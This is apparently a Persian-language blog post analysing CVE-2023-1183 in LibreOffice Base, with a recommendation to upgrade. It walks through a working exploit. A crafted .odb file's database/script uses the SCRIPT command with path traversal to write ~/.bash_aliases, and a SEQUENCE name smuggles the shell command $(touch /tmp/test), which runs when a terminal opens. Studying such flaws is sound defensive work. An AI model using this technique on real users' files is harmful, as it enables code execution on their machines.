یه آسیب پذیری از نوع Arbitrary File Write و شناسه CVE-2023-1183 در LibreOffice کشف و گزارش شده، که در این پست به بررسی اون پرداختیم.
مجموعه LibreOffice یه بسته نرم افزاری هستش شبیه آفیس مایکروسافت، که برنامه های اداری مختلفی مانند واژه پرداز ، صفحه گستر ، ابزاری برای ساخت و نمایش ارائه ها و یه برنامه برای کار با دیتابیس داره.
آسیب پذیری در hsqldb 1.8.0 رخ میده و امکان نوشتن فایل دلخواه در مکان دلخواه رو میده.
برای اینکه تحت تاثیر این آسیب پذیری قرار نگیرید ، توصیه شده از نسخه های 7.4.6 یا 7.5.1 استفاده کنید.
آنالیز و اکسپلویت آسیب پذیری :
محقق روی برنامه LibreOffice Base که یه برنامه برای مدیریت و توسعه دیتابیس هستش، کار کرده. در ابتدا یه دیتابیس جدید از نوع HSQLDB Embedded ایجاد کرده.
بعد از ایجاد دیتابیس و پر کردن یسری مقادیر تستی، اونو ذخیره کرده. فایل ذخیره شده مانند اسناد odt با فرمت odb هستش. این فایل یه فایل فشرده zip با محتویات زیر هستش :
1 2 3 4 5 6 7 8 9 10 11 |
./forms ./reports ./Configurations2 ./database ./database/script ./database/properties ./mimetype ./content.xml ./META-INF ./META-INF/manifest.xml ./settings.xml |
در بین فایلهای بالا، موردی که توجه محقق رو به خودش جلب کرده ، database/script بوده.
1 2 3 4 5 6 |
SET DATABASE COLLATION "Latin1_General" CREATE SCHEMA PUBLIC AUTHORIZATION DBA CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100)) CREATE USER SA PASSWORD "" GRANT DBA TO SA SET WRITE_DELAY 60 |
برای اینکه بتونیم از دستورات SQL سوء استفاده کنیم، بستگی به موتور دیتابیس داره. با توجه به اینکه اینجا ما از HSQLDB استفاده میکنیم، بنابراین اولین قدم بررسی اسناد اون هستش.
در این مستندات در خصوص دستور SCRIPT گفته شده :
یه اسکریپت SQL برای توصیف دیتابیس ایجاد میکنه. اگه فایل مشخص نشده باشه، یه اسکریپت DDL برمیگردونه و اگه فایل مشخص بشه، این فایل با مسیر مرتبط با موتور دیتابیس ذخیره میشه.
فقط یه administrator میتونه این کار انجام بده.
با این توضیحات، محقق رفته سراغ اینکه آیا میتونه از SCRIPT برای نوشتن یه فایل در مکان دلخواه استفاده کنه یا نه. در نتیجه محتوای database/script رو بصورت زیر تغییر داده :
1 2 3 4 5 6 7 |
SET DATABASE COLLATION "Latin1_General" CREATE SCHEMA PUBLIC AUTHORIZATION DBA CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100)) CREATE USER SA PASSWORD "" GRANT DBA TO SA SET WRITE_DELAY 60 SCRIPT '../../../../../../../../../tmp/ohai' |
بعد از این کار، با استفاده از دستور zip -r ../foo.odb
دوباره فایل odb رو ساخته. در ادامه این فایل رو در LibreOffice باز کرده و متاسفانه اتفاق خاصی نیافتاده.
محقق دلسرد نشده و دوباره پیش رفته و اینبار با یسری ویژگی های LibreOffice Base مانند فرم ها، گزارشات و … بازی کرده. بعدا این فایل ذخیره کرده و وقتی اونو با LibreOffice باز کرده اینبار مشاهده کرده که فایل ساخت شده:
1 2 3 4 5 6 7 |
bugofen libreoffice_hack???? cat /tmp/ohai SET DATABASE COLLATION "Latin1_General" CREATE SCHEMA PUBLIC AUTHORIZATION DBA CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100)) CREATE USER SA PASSWORD "" GRANT DBA TO SA SET WRITE_DELAY 60 |
محقق در ادامه متوجه شده که با زدن روی دکمه Queries در برنامه، این فایل ایجاد میشه. یه نکته دیگه اینکه اگه یه فایل odb رو دستکاری کنیم و دستور SCRIPT رو بهش اضافه کنیم، موقع ذخیره، LibreOffice اونو حذف میکنه.
اگه بخواییم تا اینجا یه جمع بندی بکنیم، ما تونستیم از طریق LibreOffice Base یه داده ای رو داخل یه فایل در فایل سیستم محلی بنویسیم. محتوای فایلی که مینویسیم تا حدودی تحت کنترل ماست، چراکه براساس مستندات و مشاهدات محقق ، دستور SCRIPT ، محتویات database/script رو داخل یه فایلی که ما انتخاب کردیم مینویسه. اما این محتویات باید دستورات SQL معتبر باشن.
برای اکسپلویت محقق در مرحله اول خواسته تا یه فایل موجود در سیستم فایل مانند ~/.profile
رو بازنویسی کنه. اما بعد از دستکاری فایل و باز کردن اون در LibreOffice و زدن دکمه Queries با خطای زیر مواجه شده :
محقق اینجا متوجه شده که بازنویسی فایلهای روی سیستم ، گویا امکانپذیر نیست و بنابراین رفته سراغ ~/.bashrc
و با بررسی اون در Ubuntu ، متوجه این مورد شده :
1 2 3 4 5 6 7 8 9 10 |
if [ -x /usr/bin/dircolors ]; then test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)" ... fi ... if [ -f ~/.bash_aliases ]; then . ~/.bash_aliases fi |
موارد ~/.dircolors
و ~/.bash_aliases
در سیستم تست محقق وجود نداشتن. بنابراین محقق اول رفته سراغ بررسی ابزار dircolors و نحوه تجزیه فایل ~/.dircolors
، اما متوجه شده که از تزریق جلوگیری میکنه. بنابراین اونو کنار گذاشته و رفته سراغ ~/.bash_aliases
.
تو لینوکس ما میتونیم برای یسری دستورات bash ، معادل دلخواه ایجاد کنیم که بهشون alias میگیم. مثلا شما میخوایید به یه سروری ssh بزنید، بجای اینکه کل دستور رو هربار بزنید، میتونید یه معادل براش تعریف کنید و اونو بزنید. در دستور پایین، ما با زدن دستور salam میتونیم اون دستور بزرگ رو اجرا کنیم.
1 |
alias salam='ssh root@10.10.10.10 -p1234 -c' |
این دستورات معادل با ریبوت شدن سیستم، میپرن و برای همین اونارو داخل یه فایلی بنام bash_aliases ذخیره میکنن که در مسیر /home/username/.bash_aliases
قرار داره.
اما اگه این دستورات رو بدون alias ، داخل این فایل بنویسیم، با باز کردن ترمینال اجرا میشن. برای مثال من دستور echo onhexgroup.ir
رو نوشتم و با باز کردن ترمینال، همونطور که مشاهده میکنید، اجرا شده :
با توجه به توضیحات بالا ما میتونیم داده داخل یه فایل بنویسیم و البته برای این منظور باید از دستورات SQL استفاده کنیم. بنابراین اگه بتونیم داده دلخواهمون رو داخل فایل bash_aliases بنویسیم، میتونیم با اجرای ترمینال، اونو اجرا کنیم. در اینجا هدف اینه که یه فایلی داخل tmp ایجاد کنیم.
محقق اومده برای خط اول از SET DATABASE COLLATION "$(touch /tmp/test)"
استفاده کرده. چرا؟ چون گفتیم که باید دستورات معتبر SQL وارد کنیم. اما این خط کار نکرده و LibreOffice خطا داده.
در ادامه محقق از CREATE CACHED TABLE "$(touch /tmp/test)"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
استفاده کرده اما اینبار bash خطا داده و به پارانتزها گیر داده :
1 2 |
bash: /home/greg/.bash_aliases: line 2: syntax error near unexpected token `(' bash: /home/greg/.bash_aliases: line 2: `CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100)) |
با توجه به خطای بالا، محقق دنبال یه دستور SQL بوده که از پارانتز استفاده نکنه و از مستندات ، دستور CREATE SEQUENCE رو پیدا کرده که این ویژگی رو داره.
در نهایت محقق این دستورات رو به database/script اضافه کرده :
1 2 3 4 5 6 7 8 9 10 |
SET DATABASE COLLATION "Latin1_General" CREATE SCHEMA PUBLIC AUTHORIZATION DBA CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100)) CREATE USER SA PASSWORD "" GRANT DBA TO SA SET WRITE_DELAY 60 -- teh 1337 haxx CREATE SEQUENCE "$(touch /tmp/test)" SCRIPT '../../../../../../../../../home/greg/.bash_aliases' |
بعد از اضافه کردن، دوباره فشرده کرده و فایل odb رو ساخته، در LibreOffice بازش کرده و روی Queries کلیک کرده و مشاهده کرده که محتویات ~/.bash_aliases
بدین شکل تغییر کرده :
1 2 3 4 5 6 7 |
SET DATABASE COLLATION "Latin1_General" CREATE SCHEMA PUBLIC AUTHORIZATION DBA CREATE SEQUENCE "$(touch /tmp/test)" AS INTEGER START WITH 0 CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100)) CREATE USER SA PASSWORD "" GRANT DBA TO SA SET WRITE_DELAY 60 |
وقتی bash رو باز کرده، خروجی زیر رو مشاهده کرده :
1 2 3 4 5 6 7 8 |
bugofen libreoffice_hack???? bash bash: SET: command not found bash: CREATE: command not found bash: CREATE: command not found bash: /home/greg/.bash_aliases: line 4: syntax error near unexpected token `(' bash: /home/greg/.bash_aliases: line 4: `CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))' bugofen libreoffice_hack???? ls /tmp/test /tmp/test |